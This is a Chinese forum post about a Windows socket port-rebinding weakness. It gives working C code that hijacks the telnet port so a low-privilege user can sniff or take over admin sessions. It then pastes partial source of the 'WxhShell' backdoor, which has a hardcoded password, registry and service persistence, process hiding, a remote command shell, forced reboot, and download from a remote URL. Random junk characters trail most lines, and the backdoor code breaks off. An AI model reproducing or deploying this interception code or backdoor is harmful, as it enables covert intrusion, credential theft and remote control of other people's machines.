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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: F!RzF7h1  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (ah^</  
{SRv=g  
  saddr.sin_family = AF_INET; Efa3{ 7>{  
ABIQi[A  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); LlF|VR&P.  
#;(Q \  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); F'^y?UP[  
?PSJQ3BC|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Tfytc$aQ  
"KHe6otmi_  
  这意味着什么?意味着可以进行如下的攻击: 7`P1=`..  
s +Q'\?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 LLV1W0VO=P  
$/)0iL{0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <)]j;Tl  
o4qB0h  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .-mlV ^  
Qd"R@+i  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^ZD0rp(l  
8mn zxtk  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9O{b8=\}  
V9\y*6#Y,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 df R?O#JPU  
?y|8bw<  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 CkeqK  
lHc|: vG?  
  #include X-']D_f|,  
  #include 4 yDWVd;  
  #include y**>l{!!  
  #include    8(@ Y@`/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   '-2|GX_o  
  int main() Cj10?BNV)  
  { hmES@^n!_  
  WORD wVersionRequested; NGp^/PZX0  
  DWORD ret; W5U;{5  
  WSADATA wsaData; !#TM%w  
  BOOL val; X B[C&3I  
  SOCKADDR_IN saddr; J,_IHzO~Z  
  SOCKADDR_IN scaddr; E/Adi^  
  int err; ;/~%D(  
  SOCKET s; C%QC^,KL  
  SOCKET sc; !4"<:tSO  
  int caddsize; jlM %Y ZC  
  HANDLE mt; |Qz"Z<sNYw  
  DWORD tid;   ~|R/w%*C  
  wVersionRequested = MAKEWORD( 2, 2 ); BnPL>11Y  
  err = WSAStartup( wVersionRequested, &wsaData ); qG8-UOUDt  
  if ( err != 0 ) { '(fCi  
  printf("error!WSAStartup failed!\n"); FV>xAU$  
  return -1; IWNIk9T,u  
  } 'Im&&uSkr  
  saddr.sin_family = AF_INET; Epm%/ {sHV  
   @D2KDV3'  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )#0Llx!  
G&\!!i|IQ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qYbPF|Y=Z  
  saddr.sin_port = htons(23); I`KBj6n  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $[HpY)MSRw  
  { 1vL$k[^&d  
  printf("error!socket failed!\n"); G1S:hw%rp  
  return -1; )A*Sl2ew  
  } ?t"bF:!  
  val = TRUE; +l@+e_>  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 oh%/\Xu  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *rmwTD"  
  { >vk?wY^f  
  printf("error!setsockopt failed!\n"); 3=Va0}#&  
  return -1; 7p+uHm  
  } JNSH'9!n6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1+NmiGKg  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 aj6{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $-R9J6NN  
z! DD'8r>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Xb5 $ijH  
  { ;h#nal>w@S  
  ret=GetLastError(); ((E5w:=?  
  printf("error!bind failed!\n"); }ej-Lu,b3  
  return -1; *+>R^\uT  
  } 5c+7c@.  
  listen(s,2); t.]c44RY  
  while(1) !Z`xwk"!  
  { `^1&Qz>  
  caddsize = sizeof(scaddr); Rss=ihlM  
  //接受连接请求  !#Hca  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); oQ_n:<3X  
  if(sc!=INVALID_SOCKET) Tx0l^(n  
  { K}YOs.  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;J40t14u  
  if(mt==NULL) V[BlT|t  
  { dD}!E  
  printf("Thread Creat Failed!\n"); #^;^_  
  break; 8- ]7>2?_  
  } WA79(B  
  } G)wIxm$?0  
  CloseHandle(mt); _=oNQ  
  } gKay3}w  
  closesocket(s); n:5*Tg9  
  WSACleanup(); zV=(e( [  
  return 0; 6P:H`  
  }   $[-{Mm  
  DWORD WINAPI ClientThread(LPVOID lpParam) C%+>uzVIw  
  { ne\N1`AU  
  SOCKET ss = (SOCKET)lpParam; y$7@~NH,d  
  SOCKET sc; 2\1\Jn#q  
  unsigned char buf[4096]; tf@x}  
  SOCKADDR_IN saddr; q'p>__Ox  
  long num; dwt<s [k  
  DWORD val; 4uUR2J  
  DWORD ret; hhvP*a_J  
  //如果是隐藏端口应用的话,可以在此处加一些判断 m K@a7fF?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,9;d"ce  
  saddr.sin_family = AF_INET; k&>l#oH  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); JI}p{ yI  
  saddr.sin_port = htons(23); hT<:)MG)+K  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C JNz J(  
  { 3tTz$$-#  
  printf("error!socket failed!\n"); QU{\ClW/?  
  return -1; lt&30nf=  
  } I NE,/a=  
  val = 100; mmn1yX:d  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,w/f :-y  
  { (B zf~#]~  
  ret = GetLastError();  YErn50L  
  return -1; 5bzYTK&-  
  } WsCzC_'j.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !%2aw0Yv  
  { +6* .lRA  
  ret = GetLastError(); AH(O"v`  
  return -1; N#`aVW'{v2  
  } .iL_3:6f  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7" wn0 24  
  { WxS=Aip'  
  printf("error!socket connect failed!\n"); 'k9hzk(*  
  closesocket(sc); S-:7P.#Q  
  closesocket(ss); 7TQh'j   
  return -1; m 5NF)eL  
  } ;,h*s, i  
  while(1) s!E-+Gw  
  { =9;jVaEMJL  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 sE8.,\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Pk; 9\0k7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 K,IPVjS  
  num = recv(ss,buf,4096,0); =c8U:\0  
  if(num>0) r_Rjjo  
  send(sc,buf,num,0); uGQCW\!"4  
  else if(num==0) ka&-tGg  
  break; uXNf)?MpA  
  num = recv(sc,buf,4096,0); /m;w~ -N  
  if(num>0) Vy:ER  
  send(ss,buf,num,0); */L;6_  
  else if(num==0) NW9k.D%  
  break; [vaG{4m  
  } GZc%*  
  closesocket(ss); @$79$:q N  
  closesocket(sc); j1>77C3  
  return 0 ; Tj{!Fx^H  
  } 7,e=|%7.  
>~$ S!  
[<sBnHbvQ.  
========================================================== ++13m*fA  
':!;6v|L  
下边附上一个代码,,WXhSHELL uu>[WFh  
f41!+W=  
========================================================== 00G[ `a5  
QLH s 3eM  
#include "stdafx.h" `4&\ %9   
?#kI9n<O  
#include <stdio.h> Te> 7I  
#include <string.h> yg2~qa:dZ  
#include <windows.h> C({L4O#?o  
#include <winsock2.h> kkrQ;i)Z  
#include <winsvc.h> _}!Q4K  
#include <urlmon.h> j<+iL]b  
.@APxeU  
#pragma comment (lib, "Ws2_32.lib") "MXd!  
#pragma comment (lib, "urlmon.lib") ;8g#"p*&  
Vb 4Qt#o  
#define MAX_USER   100 // 最大客户端连接数 ]'_z (s}  
#define BUF_SOCK   200 // sock buffer L#u6_`XJ+  
#define KEY_BUFF   255 // 输入 buffer RkLH}`#  
XR\ iQ  
#define REBOOT     0   // 重启 hBE}?J>  
#define SHUTDOWN   1   // 关机 IHo6&  
%1HW ) 7  
#define DEF_PORT   5000 // 监听端口 xm YA/wt8  
cp?`\P  
#define REG_LEN     16   // 注册表键长度 f8?K_K;\   
#define SVC_LEN     80   // NT服务名长度 <$D)uY K  
FZA8@J|Q4  
// 从dll定义API o D* '  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =-`+4zB\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2%W(^Lj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s !8]CV>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nfDPM\FFD  
CsSB'+&{  
// wxhshell配置信息 4kg9R^0  
struct WSCFG { jgbw'BBu  
  int ws_port;         // 监听端口 JpD YB  
  char ws_passstr[REG_LEN]; // 口令 5Cy)#Z{  
  int ws_autoins;       // 安装标记, 1=yes 0=no  ]NAPvw#p  
  char ws_regname[REG_LEN]; // 注册表键名 GN1cnM>`  
  char ws_svcname[REG_LEN]; // 服务名 C [2tH2*#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wOi>i`D&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5[gkGKkf_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X Y4s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $;;?'!%.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !Q7   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c= a+7>  
C#I),LE|d{  
}; )cqhbR  
syZ-xE]}  
// default Wxhshell configuration Tz*5;y%4  
struct WSCFG wscfg={DEF_PORT, FxZ\)Y   
    "xuhuanlingzhe", uEi!P2zN  
    1,  Uero!+_  
    "Wxhshell", Ew;<iY[  
    "Wxhshell", )%tf,3  
            "WxhShell Service", s*l_O* $'  
    "Wrsky Windows CmdShell Service", |nt J+  
    "Please Input Your Password: ", Pucf0 #  
  1, *q0N$}k  
  "http://www.wrsky.com/wxhshell.exe", ldX]A#d.  
  "Wxhshell.exe" OC>" +  
    }; Jx>P%>+<j  
<m(nZ'Zqz2  
// 消息定义模块 r\3In-(AT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F}01ikXDb'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lHGv:TN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Xj-3C[ 8@  
char *msg_ws_ext="\n\rExit."; \:=Phbn  
char *msg_ws_end="\n\rQuit."; Sej$x)Q\t  
char *msg_ws_boot="\n\rReboot..."; ;OKQP~^iH2  
char *msg_ws_poff="\n\rShutdown..."; ,Xh4(Gn#b  
char *msg_ws_down="\n\rSave to "; d=5D 9' +  
i5n 'f6C  
char *msg_ws_err="\n\rErr!"; QHM39Eu]  
char *msg_ws_ok="\n\rOK!"; ./g0T{&  
kv5Qxj}  
char ExeFile[MAX_PATH]; S$H4xkKs  
int nUser = 0; &1[5b8H;+  
HANDLE handles[MAX_USER]; 7CIje=u.q  
int OsIsNt; Zwt!nh   
Z9sg6M@s  
SERVICE_STATUS       serviceStatus; 8@qahEgQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; MoX* e  
AjlG_F  
// 函数声明 V+Tj[:ok  
int Install(void); A!f0AEA,  
int Uninstall(void); Ci*5E$+\  
int DownloadFile(char *sURL, SOCKET wsh); ~*[}O)7#  
int Boot(int flag); N4Lk3]  
void HideProc(void); iK#{#ebAoW  
int GetOsVer(void); _N]yI0k(  
int Wxhshell(SOCKET wsl); ,H%\+yn{  
void TalkWithClient(void *cs); cQ8:;-M   
int CmdShell(SOCKET sock); y1'/@A1  
int StartFromService(void); vB Jva8;Q  
int StartWxhshell(LPSTR lpCmdLine); 16+@#d%#p  
@KpzxcEoO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l1:j/[B=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T#BOrT>V  
14&EdTG.  
// 数据结构和表定义 foFn`?LF  
SERVICE_TABLE_ENTRY DispatchTable[] = aH$~':[93  
{ wd]Yjr#%Ii  
{wscfg.ws_svcname, NTServiceMain}, sooh yK8  
{NULL, NULL} <7&b|f$CL  
}; k@Tt,.];  
"_l[4o[D  
// 自我安装 0PfFli`2;  
int Install(void) ]d[q:N]z  
{ +|?c_vD  
  char svExeFile[MAX_PATH]; |s^ar8)=)  
  HKEY key; >r*Zm2($MR  
  strcpy(svExeFile,ExeFile); s=nds"J  
c1 <g!Q&E  
// 如果是win9x系统,修改注册表设为自启动 7/1S5yUr|  
if(!OsIsNt) { &q U[ wn:1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :U*[s$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fr?eOigbl  
  RegCloseKey(key); C[pDPx,#:G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MQ+ek4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5R Hs  
  RegCloseKey(key); Iu[EUi!"  
  return 0; f LW>-O73  
    } 96.Wfx  
  } m\>x_:sE  
} h>/ViB@"W|  
else { vuZ<'?Nm  
L~$RF {$  
// 如果是NT以上系统,安装为系统服务 1=X=jPwO C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); G](K2=  
if (schSCManager!=0)  4{?x(~  
{ tWiV0PTI  
  SC_HANDLE schService = CreateService :1=?/8h  
  ( CQ`(,F3(  
  schSCManager, J53;w:O  
  wscfg.ws_svcname, Jc)1}  
  wscfg.ws_svcdisp, XJ\q!{;h  
  SERVICE_ALL_ACCESS, c`.:"i" k3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r&[~/m8zl  
  SERVICE_AUTO_START, la4 ,Z  
  SERVICE_ERROR_NORMAL, HA%ye"(y8  
  svExeFile, GEA;9TU|V  
  NULL, M($},xAvDU  
  NULL, _~kcr5  
  NULL, i/~J0qQ  
  NULL, ;x#>J +QlG  
  NULL A-io-P7qyj  
  ); MH?B .2  
  if (schService!=0) r Lh h  
  { (Gn[T1p?  
  CloseServiceHandle(schService); 7q2YsI  
  CloseServiceHandle(schSCManager); -AT@M1K7%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zT% kx:Fk  
  strcat(svExeFile,wscfg.ws_svcname); @\y7 9FX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P1QJ'eC;T  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Kq$Zyf=E  
  RegCloseKey(key); q T].,?  
  return 0; `9+EhP$RS  
    } -?RQ%Ue  
  } s]iOC6v  
  CloseServiceHandle(schSCManager); [UH5D~Yx  
} ,ln uu  
} CA4-&O"  
o^?{j*)g  
return 1; D$cMPFa2Nt  
} *ls6#j@  
bwJi[xF  
// 自我卸载 WGmCQE[/c  
int Uninstall(void) eFQi K6`i  
{ Pb,^UFa=  
  HKEY key; q UnFEg  
pqSE|3*l  
if(!OsIsNt) { 1,T9HpM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {yHfE,  
  RegDeleteValue(key,wscfg.ws_regname); L\ %_<2  
  RegCloseKey(key); xgz87d/<:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fhmr*E'J  
  RegDeleteValue(key,wscfg.ws_regname); -z$0S%2?  
  RegCloseKey(key); .;b> T  
  return 0; w8 $Qh%J'<  
  } 6iG<"{/U5  
} O+?zn:  
} kPH^X}O$  
else { {*<C!Qg  
 >Gu0&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,NEs{! T  
if (schSCManager!=0) ugB{2oqi  
{ i =N\[&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -y?Z}5-rs  
  if (schService!=0) h'~- K`  
  { kZ9< j+.  
  if(DeleteService(schService)!=0) { >U<nEnB$?  
  CloseServiceHandle(schService); yk<jlVF$j  
  CloseServiceHandle(schSCManager); N o(f0g.  
  return 0; lM,zTNu-z  
  } #sU~fq  
  CloseServiceHandle(schService); u;Eu<jU1  
  } prN(V1O  
  CloseServiceHandle(schSCManager); U.U.\   
} es[5B* 5  
} KeI:/2  
CLEG'bZa,  
return 1; cJEz>Z6[  
} dyzw J70K  
}+ 2"?f|]  
// 从指定url下载文件 ~8t}*oV   
int DownloadFile(char *sURL, SOCKET wsh) l;*lPRoW,  
{ 1bg@[YN!;  
  HRESULT hr; \GvY`kt3  
char seps[]= "/"; AvE^ F1  
char *token; 8(5E<&JP  
char *file; `^L<db^A  
char myURL[MAX_PATH]; I#t9aR+&  
char myFILE[MAX_PATH]; H ?j-=Zka  
9>3Ltnn0  
strcpy(myURL,sURL); sBtG}Mo)  
  token=strtok(myURL,seps); MQ(/l_=zQ  
  while(token!=NULL) W8$=a  
  { )O@^H   
    file=token; ~f10ZB_k>'  
  token=strtok(NULL,seps); \'+{X(]  
  } i @9 Qb  
sNfb %r  
GetCurrentDirectory(MAX_PATH,myFILE); P9"D[uz  
strcat(myFILE, "\\"); #)A?PO2  
strcat(myFILE, file); ckN(`W,xp  
  send(wsh,myFILE,strlen(myFILE),0); $&=;9="  
send(wsh,"...",3,0); &n]Z1e}5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3Ge<G  
  if(hr==S_OK) AKKU-5 B9c  
return 0; C.eV|rc@T  
else cm@oun  
return 1; U.Chf9a -  
*OOa)P{^D  
} .8qzU47E  
5V nr"d  
// 系统电源模块 RO$ @>vL  
int Boot(int flag) ( ssH=a  
{ 1gShV ]2  
  HANDLE hToken; 8U2 wH  
  TOKEN_PRIVILEGES tkp;  ,eeL5V  
+%}5{lu_e  
  if(OsIsNt) { ]2\2/~l  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 39T&c85  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3TiXYH  
    tkp.PrivilegeCount = 1; 7 Mki?EG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rfXF 01I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "UoCT7X  
if(flag==REBOOT) { )fd-IYi-3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Rhv".epz  
  return 0; t6bWSz0  
} I0l.KiBm  
else { I"cQ5gF?A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x-V' 0-#U>  
  return 0; lv\F+?]a  
} +?j?|G  
  } fteyG$-s  
  else { i[ Gw 7'f  
if(flag==REBOOT) { L\:YbS~]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^mgI%_?1  
  return 0; @0UwI%.  
} 8?j&{G  
else { ;sL6#Go?V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z;Ir>^<  
  return 0; + <!)k?  
} "`jZ(+  
} 1!;"bHpk  
s;_#7x#  
return 1; G{:af:5Fo  
} p~, 3A:i  
 zfjDb  
// win9x进程隐藏模块 t)oES>W1  
void HideProc(void) (ciGLfNG  
{ U-~*5Dd  
yA !3XUi  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n^JUZ8  
  if ( hKernel != NULL ) f^6&Fb>  
  {  g`)/x\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (Y'UvZlM%P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \2gvp6  
    FreeLibrary(hKernel); r\l3_t  
  } z6FbM^;;  
Pa +AF  
return; #"o6OEy$A#  
} f $.\o  
Gh$y#0qr  
// 获取操作系统版本 6"7:44O;G  
int GetOsVer(void) c<+g|@A#  
{ sxN>+v11z  
  OSVERSIONINFO winfo; c ?p0#3%L#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1%SJ1oY  
  GetVersionEx(&winfo); [NCXn>Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  +eDN,iv  
  return 1; s]F?=yEp  
  else iJCY /*C}  
  return 0; f*|8n$%   
} ub zb  
{h vQ<7b  
// 客户端句柄模块 fz<|+(_>J  
int Wxhshell(SOCKET wsl) EBj,pk5M  
{ d739UhKC  
  SOCKET wsh; r|\5'ZMx  
  struct sockaddr_in client; %67G]?EXB  
  DWORD myID; r{R[[]p  
w!B,kqTG  
  while(nUser<MAX_USER)  r21?c|IP  
{ M73VeV3DL  
  int nSize=sizeof(client); Y'<uZl^aX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FhY{;-W(T  
  if(wsh==INVALID_SOCKET) return 1; ]Efh(Gb]  
+?"HTDBE||  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #|{BGVp  
if(handles[nUser]==0) Q QsVIHA  
  closesocket(wsh); wL8bs- U  
else (1kn):  
  nUser++; ]689Q%D  
  } H7z>S G0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AQnJxIL:  
z&C{8aQ'  
  return 0; {dy` %It  
} a2c x  
c]s (u+i  
// 关闭 socket c ,h.`~{  
void CloseIt(SOCKET wsh) O:`GL1{ve?  
{ r%g <h T 8  
closesocket(wsh); E(aX4^]g  
nUser--; ";-{ ~  
ExitThread(0); 7X9+Qj;  
} $I)Tk`=  
V!pq,!C$v  
// 客户端请求句柄 gD,YQ%aq  
void TalkWithClient(void *cs) vF.?] u  
{ Vr&el  
RR[)UQ  
  SOCKET wsh=(SOCKET)cs; i$`|Y*  
  char pwd[SVC_LEN]; P;)2*:--)  
  char cmd[KEY_BUFF]; dp"<KcP_  
char chr[1]; ]97Xu_  
int i,j; .iOw0z  
i63`B+L{  
  while (nUser < MAX_USER) { 9_J!s  
N<L$gw+)$D  
if(wscfg.ws_passstr) { q;~R:}?@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bGGeg%7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4B:\  
  //ZeroMemory(pwd,KEY_BUFF); &57qjA ,8<  
      i=0; Ek"YM[  
  while(i<SVC_LEN) { u4Y6B ]Q  
t/v@vJ`vSH  
  // 设置超时 iN:G/ss4O  
  fd_set FdRead; G]L0eV  
  struct timeval TimeOut; U=haX x4N  
  FD_ZERO(&FdRead); cwH,l$  
  FD_SET(wsh,&FdRead); ,X9hl J  
  TimeOut.tv_sec=8; ;eS;AHZ  
  TimeOut.tv_usec=0; >%iu!H"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %-@'CNP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rtB|N-  
+l2e[P+qA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ux_EpC   
  pwd=chr[0]; gZw\*9Q9  
  if(chr[0]==0xd || chr[0]==0xa) {  4 "pS  
  pwd=0; 4/*]`  
  break; E p^B,;~  
  } Kwy1SyU  
  i++; W9 n^T+2  
    } +O|_P`HBoI  
c+szU}(f6(  
  // 如果是非法用户,关闭 socket .Lr`j8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :@:g*w2K  
} r:fwrC  
P\D[n-&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 68v xI|EZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?~F]@2)5w  
2"T8^r|U  
while(1) { 98D{{j92  
X?KGb{  
  ZeroMemory(cmd,KEY_BUFF); Y h^WTysBn  
2B6^ ]pSk  
      // 自动支持客户端 telnet标准   EG F:xl  
  j=0; 9|J8]m?x  
  while(j<KEY_BUFF) { kA1RfSS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NJ >I%u*  
  cmd[j]=chr[0]; tH-gaDj_  
  if(chr[0]==0xa || chr[0]==0xd) { @Djs[Cs<*  
  cmd[j]=0; vg+r?4Q3  
  break; X tJswxw`K  
  } ^OHZ767v  
  j++; 'jh2**i 34  
    } Ro$j1Aw(  
|C~Sr#6)7  
  // 下载文件 l)}<#Ri  
  if(strstr(cmd,"http://")) { /DLr(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4qqF v?O[r  
  if(DownloadFile(cmd,wsh)) V^j3y`K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 08`f7[JQo]  
  else ?+3R^%`V  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \U==f &G?J  
  } =ft9T&ciD  
  else { \V._Z>]  
R|/Wz/$1A  
    switch(cmd[0]) { #uQrJh1o8  
  l>A\ V)  
  // 帮助 5k K= S  
  case '?': { cYsR0#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @[n2dmj  
    break; gBMta+<fE~  
  } G=vN;e_$_b  
  // 安装 g<M0|eX@~  
  case 'i': { eT;AAGql  
    if(Install()) 1UC2zM"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l#b:^3  
    else 4+)Z k$E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7 2`/d`  
    break; ERk kS Tp  
    } J=b*  
  // 卸载 rU],J!LF  
  case 'r': { CP}0Ri)  
    if(Uninstall()) )m|C8[u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A3xbT\xdg  
    else X d!Cp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gj6<s./  
    break; Lt>?y& CcQ  
    } mG X\wta  
  // 显示 wxhshell 所在路径 P<8LAc$T  
  case 'p': { yxqTm%?y  
    char svExeFile[MAX_PATH]; HS7R lU^  
    strcpy(svExeFile,"\n\r"); MY&<)|v\  
      strcat(svExeFile,ExeFile); TV<Aj"xw  
        send(wsh,svExeFile,strlen(svExeFile),0); pH^ z  
    break; b7Yq_%+  
    } L%f-L.9`u  
  // 重启 ,K T<4  
  case 'b': { %?@x]B9Y8E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); eDuX"/kHA  
    if(Boot(REBOOT)) !5NGlqEF#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S 9WawI  
    else { 5Lw{0uLr  
    closesocket(wsh); 2ed@HJu  
    ExitThread(0); d"Bo8`_  
    } .Xi2G@D  
    break; T)`gm{T  
    } #uB[&GG}W  
